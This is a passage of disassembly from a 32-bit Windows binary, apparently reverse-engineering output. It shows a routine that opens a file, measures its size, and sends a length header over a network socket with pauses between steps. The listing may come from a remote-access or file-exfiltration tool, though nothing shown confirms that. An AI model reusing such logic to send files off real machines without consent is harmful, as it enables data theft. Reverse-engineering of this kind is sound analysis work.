mov byte [esp + 0x2317c], 0x57
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [esp + 0x2317c], 0x56
lea ecx, [esp + 0xdb4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x11d4]
mov byte [esp + 0x2317c], 0x55
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x30]
call fcn.0040aae0
lea ecx, [esp + 0xd7c]
jmp 0x403418
lea ecx, [esp + 0x11d4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call ebx
mov edx, dword [esp + 0x30]
push 0x40
push 0x24
push edx
mov ecx, 0x415f18
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::open_wchar_t_const___int__int_]
lea eax, [esp + 0xd7c]
push eax
mov ecx, 0x415eb0
call dword [0x40f158]
lea ecx, [esp + 0x304]
push ecx
mov ecx, 0x415f18
call dword [sym.imp.MSVCP90.dll_public:_class_std::fpos_int____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
mov edx, dword [eax]
mov dword [0x415f00], edx
mov ecx, dword [eax + 4]
mov dword [0x415f04], ecx
mov edx, dword [eax + 8]
mov dword [0x415f08], edx
mov ecx, dword [eax + 0xc]
mov dword [0x415f0c], ecx
mov edx, dword [eax + 0x10]
mov dword [0x415f10], edx
mov eax, dword [eax + 0x14]
mov dword [0x415f14], eax
sub esp, 0x18
mov eax, esp
xor edi, edi
mov ecx, 0x415f18
mov dword [esp + 0x4c], esp
mov dword [eax], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
mov dword [eax + 0x10], edi
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_class_std::fpos_int__]
xor eax, eax
xor ecx, ecx
mov dword [0x415ee8], eax
mov eax, dword [esp + 0x48]
mov dword [0x415ef0], ecx
mov ecx, dword [esp + 0x58]
xor edx, edx
mov dword [0x415eec], eax
mov eax, dword [0x415f08]
mov dword [0x415ef4], edx
mov edx, dword [0x415f00]
mov dword [0x415efc], ecx
push 0xa
lea ecx, [esp + 0x17e0]
add eax, edx
push ecx
xor esi, esi
push eax
mov dword [0x415ef8], esi
mov dword [esp + 0x38], eax
call dword [sym.imp.MSVCR90.dll__itoa]
add esp, 0xc
lea edx, [esp + 0x17dc]
push edx
lea ecx, [esp + 0xdd4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push 0x17
mov byte [esp + 0x23180], 0x5a
call fcn.00408250
add esp, 4
test al, al
jne 0x405a5a
lea ecx, [esp + 0xdd0]
mov byte [esp + 0x2317c], 0x56
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x11d4]
mov byte [esp + 0x2317c], 0x55
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x30]
call fcn.0040aae0
lea ecx, [esp + 0xd7c]
jmp 0x402c8c
mov eax, dword [esp + 0x2c]
push eax
call dword [sym.imp.WS2_32.dll_htonl]
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0x2c], eax
xor esi, esi
mov eax, dword [0x415520]
push edi
mov ecx, 4
sub ecx, esi
push ecx
lea edx, [esp + esi + 0x34]
push edx
push eax
call ebp
cmp eax, 0xffffffff
je 0x405a1b
add esi, eax
cmp esi, 4
jl 0x405a71
push 0x1f4
call ebx
call fcn.00406910
mov byte [esp + 0x2317c], 0x56
lea ecx, [esp + 0xdd0]
test al, al
jne 0x4058c0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x11d4]
mov byte [esp + 0x2317c], 0x55
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x30]
call fcn.0040aae0
lea ecx, [esp + 0xd7c]
jmp 0x402c8c
call fcn.00406910
test al, al
jne case.0x402a59.10
jmp 0x40342b